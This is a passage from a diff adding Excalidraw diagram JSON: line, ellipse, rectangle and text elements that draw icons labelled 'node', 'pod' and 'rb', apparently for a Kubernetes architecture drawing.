151022816, + "index": "c0UbQ", + "isDeleted": false, + "id": "xY1cXhtqd0aTleKnWQvkd", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1560.9763193123254, + "y": -382.8718202886778, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.7590154504425346, + "height": 0.7443594951371537, + "seed": 853732536, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 3.7590154504425346, + 0.7443594951371537 + ] + ] + }, + { + "type": "line", + "version": 1281, + "versionNonce": 1814024416, + "index": "c0UbS", + "isDeleted": false, + "id": "av52e9R3y7KYo_BGV2syb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1559.710908170593, + "y": -377.2891240751487, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.9725526621135747, + "height": 2.419168359195762, + "seed": 39097784, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.9725526621135747, + 2.419168359195762 + ] + ] + }, + { + "type": "line", + "version": 1273, + "versionNonce": 2108863712, + "index": "c0UbT", + "isDeleted": false, + "id": "PQUaxlbUiLRO5Jvs-ksTy", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1554.165429931821, + "y": -375.3165714130357, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.44661569708244864, + "height": 3.2007458290897866, + "seed": 665394872, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.44661569708244864, + 3.2007458290897866 + ] + ] + }, + { + "type": "line", + "version": 1275, + "versionNonce": 591993056, + "index": "c0UbU", + "isDeleted": false, + "id": "Ne6H9NzSROa-LD35ZbFhl", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1549.8109268852677, + "y": -377.8846116712591, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.530822283466375, + "height": 2.8657840562780548, + "seed": 595888056, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.530822283466375, + 2.8657840562780548 + ] + ] + }, + { + "type": "line", + "version": 1283, + "versionNonce": 275971296, + "index": "c0UbV", + "isDeleted": false, + "id": "B0CDTjcPU16IHUWjwtG-Y", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1548.0989000464522, + "y": -382.9090382634347, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.875554693148343, + "height": 0, + "seed": 1108005048, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.875554693148343, + 0 + ] + ] + }, + { + "type": "line", + "version": 1279, + "versionNonce": 113271008, + "index": "c0UbW", + "isDeleted": false, + "id": "u6KeU2--zLVqD0YpbEmYi", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1550.5925043551626, + "y": -388.3056446031783, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8657840562780548, + "height": 0.7443594951371537, + "seed": 719321528, + "groupIds": [ + "dBTPnXxzAs13AmuDm9jH2", + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.8657840562780548, + -0.7443594951371537 + ] + ] + }, + { + "type": "text", + "version": 1439, + "versionNonce": 364987616, + "index": "c0UbX", + "isDeleted": false, + "id": "lNXn4A5v", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1529.8940392717084, + "y": -361.0609730494084, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 38.27450401985595, + "height": 22.393521123891905, + "seed": 1898447544, + "groupIds": [ + "f6Hg5w7gzSQquCpkJOiVB", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "fontSize": 17.91481689911352, + "fontFamily": 1, + "text": "node", + "rawText": "node", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "node", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3509, + "versionNonce": 1527097568, + "index": "c0UbZ", + "isDeleted": false, + "id": "AGXhuOooroFKvoNuPtYni", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1896.3531860812375, + "y": -485.118715179668, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 596044728, + "groupIds": [ + "TbVL51vBmcbNWrDIJIxvs", + "5Y5xgciGw_reVqVVzPJ8G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2355, + "versionNonce": 1109232864, + "index": "c0Uba", + "isDeleted": false, + "id": "icWwOgxd_aaCU2X8qspqW", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1897.5110408490805, + "y": -486.0299167618009, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1545647288, + "groupIds": [ + "TbVL51vBmcbNWrDIJIxvs", + "5Y5xgciGw_reVqVVzPJ8G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1158, + "versionNonce": 1150873824, + "index": "c0Ubb", + "isDeleted": false, + "id": "AgANcHiOqRSIjJzFZBavm", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1892.057405662729, + "y": -448.54875603948085, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 19.000088359151977, + "height": 20.234751140613234, + "seed": 1352228280, + "groupIds": [ + "TF0rIXThR87RfW7vrp_wE", + "5Y5xgciGw_reVqVVzPJ8G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -12.1408506843679, + 0.6173313907305251 + ], + [ + -18.86290360565642, + 10.220264135428335 + ], + [ + -13.238328712333393, + 19.548827373134824 + ], + [ + 0.1371847534955564, + 20.234751140613234 + ] + ] + }, + { + "type": "line", + "version": 1233, + "versionNonce": 705156320, + "index": "c0Ubd", + "isDeleted": false, + "id": "U-6v3hrUft8oRNmROxdfo", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1899.4438241738148, + "y": -447.9751574594293, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 19.000088359151977, + "height": 20.234751140613234, + "seed": 1645536952, + "groupIds": [ + "TF0rIXThR87RfW7vrp_wE", + "5Y5xgciGw_reVqVVzPJ8G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 12.1408506843679, + 0.6173313907305251 + ], + [ + 18.86290360565642, + 10.220264135428335 + ], + [ + 13.238328712333393, + 19.548827373134824 + ], + [ + -0.1371847534955564, + 20.234751140613234 + ] + ] + }, + { + "type": "line", + "version": 1064, + "versionNonce": 1207580896, + "index": "c0Ube", + "isDeleted": false, + "id": "sbrd5FtqzqTZKLqLL72Cm", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1886.1584612624129, + "y": -438.6028614110446, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 17.559648447447483, + "height": 0.06859237674788249, + "seed": 758599608, + "groupIds": [ + "TF0rIXThR87RfW7vrp_wE", + "5Y5xgciGw_reVqVVzPJ8G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 17.559648447447483, + -0.06859237674788249 + ] + ] + }, + { + "type": "rectangle", + "version": 1323, + "versionNonce": 1107303648, + "index": "c0Ubf", + "isDeleted": false, + "id": "qRYv9XCzMAw1Tc19Ne4HC", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dotted", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1866.3535714372279, + "y": -463.41414857051495, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 61.65376280346684, + "height": 53.591942618663595, + "seed": 438606008, + "groupIds": [ + "5Y5xgciGw_reVqVVzPJ8G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1043, + "versionNonce": 1235845344, + "index": "c0Ubh", + "isDeleted": false, + "id": "0gTZqmvp", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1889.6597517458474, + "y": -410.6177085797958, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 17.209689239634457, + "height": 22.935001028129516, + "seed": 1820377528, + "groupIds": [ + "5Y5xgciGw_reVqVVzPJ8G", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "fontSize": 18.34800082250361, + "fontFamily": 1, + "text": "rb", + "rawText": "rb", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "rb", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 2134, + "versionNonce": 1585865952, + "index": "c0Ubi", + "isDeleted": false, + "id": "tO6YpkpwdAwhcP3pRdKcg", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1496.863233831915, + "y": -502.81534709978723, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1399835320, + "groupIds": [ + "48Vc5TVyoYJ7pWwXekJia", + "0qy-BDSadF0MYNV0WL5Cv", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1473, + "versionNonce": 237422816, + "index": "c0Ubj", + "isDeleted": false, + "id": "UQQ-WRPpOmVeNaeKUGt5C", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1495.6506828091633, + "y": -504.085508828055, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 2039854008, + "groupIds": [ + "48Vc5TVyoYJ7pWwXekJia", + "0qy-BDSadF0MYNV0WL5Cv", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1169, + "versionNonce": 874163424, + "index": "c0Ubl", + "isDeleted": false, + "id": "J5kdI3YhowtTxq4A6lso6", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1474.6914352622457, + "y": -464.39093587835464, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 20.27742910670436, + "height": 35.70320339646721, + "seed": 353795256, + "groupIds": [ + "BGB0_w-bc4QPoP6Iwu97J", + "0qy-BDSadF0MYNV0WL5Cv", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18660210834391153, + 24.818080409739405 + ], + [ + 19.779823484453956, + 35.70320339646721 + ], + [ + 20.27742910670436, + 6.7798766031619015 + ], + [ + 2.363626705689471, + 1.8038203806577522 + ] + ] + }, + { + "type": "line", + "version": 1388, + "versionNonce": 972165344, + "index": "c0Ubm", + "isDeleted": false, + "id": "rfdqXHdTUuIrG5AGKnrK7", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1519.102737048096, + "y": -464.5153372839177, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 22.130942574834656, + "height": 35.83133459503828, + "seed": 2006328760, + "groupIds": [ + "BGB0_w-bc4QPoP6Iwu97J", + "0qy-BDSadF0MYNV0WL5Cv", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -22.130942574834656, + 6.365644663380997 + ], + [ + -20.7687809213004, + 35.83133459503828 + ], + [ + -0.99521124450083, + 25.066883220864618 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1103, + "versionNonce": 1463612640, + "index": "c0Ubn", + "isDeleted": false, + "id": "OzEU4aGtbrx9y_cEH-gpX", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1476.3086535345603, + "y": -467.2521682062945, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 42.73188281075432, + "height": 13.124348286854675, + "seed": 507031224, + "groupIds": [ + "BGB0_w-bc4QPoP6Iwu97J", + "0qy-BDSadF0MYNV0WL5Cv", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 20.899436134517376, + 6.095668872567573 + ], + [ + 42.73188281075432, + 0.49760562225042 + ], + [ + 20.712834026173475, + -7.028679414287102 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "text", + "version": 894, + "versionNonce": 1368086752, + "index": "c0Ubp", + "isDeleted": false, + "id": "iXnENFAL", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1481.736190875134, + "y": -429.46612981065937, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 29.64915459497331, + "height": 22.935001028129516, + "seed": 1101141944, + "groupIds": [ + "0qy-BDSadF0MYNV0WL5Cv", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "pod", + "rawText": "pod", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "pod", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3416, + "versionNonce": 1013791968, + "index": "c0Ubq", + "isDeleted": false, + "id": "29V9uDjXPnGeLuLifFviA", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1776.9482291755837, + "y": -488.51791873670027, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1710645432, + "groupIds": [ + "D9XWIa_otBm5tFF3wp8JP", + "-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2262, + "versionNonce": 963813600, + "index": "c0Ubr", + "isDeleted": false, + "id": "GK95VeuV00jT1yWsFaRtY", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1778.1060839434283, + "y": -489.42912031883225, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1792641464, + "groupIds": [ + "D9XWIa_otBm5tFF3wp8JP", + "-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1951, + "versionNonce": 942376160, + "index": "c0Ubt", + "isDeleted": false, + "id": "Yomd_ZDKtcXLD8x74dSwu", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1758.6681513998615, + "y": -456.81344213857074, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 38.48257676515288, + "height": 53.94078303746298, + "seed": 460296888, + "groupIds": [ + "dl_6UPmaz_vJRXK1588nZ", + "poUGzPzC4A5sl0LRKK9rn", + "-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453349, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.43819522846026465, + 22.049620485275092 + ], + [ + 4.342967775450733, + 34.94121810198526 + ], + [ + 16.999488623775477, + 44.08179537283787 + ], + [ + 31.664261562496574, + 35.75278091987214 + ], + [ + 38.48257676515288, + 20.07560865520522 + ], + [ + 38.09624108672637, + -0.02154511355940155 + ], + [ + 17.89059727780874, + -9.85898766462511 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1974, + "versionNonce": 908585184, + "index": "c0Ubu", + "isDeleted": false, + "id": "mJIk9gU7ekxr3bJbjuEic", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1771.701786297402, + "y": -455.436454796406, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.959416800014635, + "height": 18.067947848851407, + "seed": 1046248376, + "groupIds": [ + "xp97qSZ7RPBc28rzVbaS6", + "poUGzPzC4A5sl0LRKK9rn", + "-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 2206, + "versionNonce": 2130169056, + "index": "c0Ubv", + "isDeleted": false, + "id": "2dqjdaVkqTaEJ7kciZFOd", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1774.851649978321, + "y": -451.14202426828047, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 7.288395422973883, + "height": 13.743891268613103, + "seed": 633619640, + "groupIds": [ + "xp97qSZ7RPBc28rzVbaS6", + "poUGzPzC4A5sl0LRKK9rn", + "-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2449, + "versionNonce": 1814769888, + "index": "c0Ubx", + "isDeleted": false, + "id": "GQ8o-JiLwi8kzHqa7VjQx", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1768.1710575893433, + "y": -442.59710370350444, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 18.532405158820122, + "height": 14.82525956037181, + "seed": 1061875128, + "groupIds": [ + "ZdYmgCgaEJnX6ZJg8KJQ7", + "xp97qSZ7RPBc28rzVbaS6", + "poUGzPzC4A5sl0LRKK9rn", + "-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1182, + "versionNonce": 626136288, + "index": "c0Uby", + "isDeleted": false, + "id": "1VFr1cUw3-USuJHi_o5Wb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1775.5497751268385, + "y": -439.0597827293104, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 6.651552292900256, + "height": 6.897906081526186, + "seed": 605320888, + "groupIds": [ + "poUGzPzC4A5sl0LRKK9rn", + "-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 954, + "versionNonce": 1610381536, + "index": "c0Ubz", + "isDeleted": false, + "id": "qg8X8BQVPHbaB5YHbf9Pc", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dotted", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1749.701545457913, + "y": -469.1346490705632, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 59.497971177368996, + "height": 58.73267649628154, + "seed": 683990968, + "groupIds": [ + "-IhrH0Cj2Y-EUqOOO2u3m", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453350, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 933, + "versionNonce": 532307168, + "index": "c0Uc", + "isDeleted": false, + "id": "50b3OCTT", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1760.6693810351921, + "y": -410.27443546464724, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 32.91497330762787, + "height": 22.935001028129516, + "seed": 1837115576, + "groupIds": [ + 